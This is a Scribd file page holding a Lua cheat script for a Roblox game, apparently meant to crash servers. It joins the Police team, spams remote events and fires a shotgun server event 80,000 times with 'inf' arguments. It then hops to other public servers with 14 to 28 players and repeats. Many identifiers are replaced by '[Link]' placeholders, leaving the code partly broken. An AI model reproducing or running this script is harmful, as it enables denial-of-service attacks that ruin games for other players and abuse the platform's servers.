0% found this document useful (0 votes)
206 views2 pages

Game Loading and Player Actions Script

The document contains a Lua script for a Roblox game that waits for the game to load and checks for a specific player. It defines a 'shop' function to teleport players to servers with a certain number of players and includes commands for setting a player's team and equipping a shotgun. The script also contains loops for firing the shotgun multiple times and invoking server events.

Uploaded by

ydonmez1250
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
206 views2 pages

Game Loading and Player Actions Script

The document contains a Lua script for a Roblox game that waits for the game to load and checks for a specific player. It defines a 'shop' function to teleport players to servers with a certain number of players and includes commands for setting a player's team and equipping a shotgun. The script also contains loops for firing the shotgun multiple times and invoking server events.

Uploaded by

ydonmez1250
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

repeat task.

wait() until game:IsLoaded()


workspace:WaitForChild("Ignore")

for i, v in next, [Link]:GetPlayers() do


if [Link] == "yourservercrasher21" then
shop(14, 28)
end
end

[Link](function()
[Link](30)
shop(14, 28)
end)

function shop(min, max)


local goofyahhvalue = [Link](min, max)
local Player = [Link]
local Http = game:GetService("HttpService")
local TPS = game:GetService("TeleportService")
local Api = "[Link]

local _place,_id = [Link], [Link]


local _servers = Api.._place.."/servers/Public?sortOrder=Desc&limit=100"
function ListServers(cursor)
local Raw = game:HttpGet(_servers .. ((cursor and "&cursor="..cursor) or ""))
return Http:JSONDecode(Raw)
end

local Next; repeat


[Link](0.15)
local Servers = ListServers(Next)
for i,v in next, [Link] do
if [Link] <= goofyahhvalue and [Link] ~= _id then
local s,r = pcall([Link],TPS,_place,[Link],Player)
if s then [Link](5) break end
end
end

Next = [Link]
until not Next
end

getgenv().shop = shop

local A_1 = "SetTeam"


local A_2 = "Police"
local Event = game:GetService("ReplicatedStorage").RemoteFunction
Event:InvokeServer(A_1, A_2)

local plr = [Link]


local char = workspace:WaitForChild(game:GetService("Players").[Link])
--[Link](0.5)
for i = 1, 40 do
wait()
[Link] = [Link]
+ [Link](0, -6, 0)
[Link] = [Link] +
[Link](0, -6, 0)
[Link] = [Link] +
[Link](0, -6, 0)
[Link]:FireServer()
end
[Link](0.5)
[Link]:EquipTool([Link])
wait(4)
for i = 1, 80000 do
game:GetService("ReplicatedStorage").Event:FireServer("ShootShotgun",
workspace[[Link]], [Link](0, 0, 0), "Shotgun", "inf", "inf", "inf")
end
wait(4)
shop(14, 28)

You might also like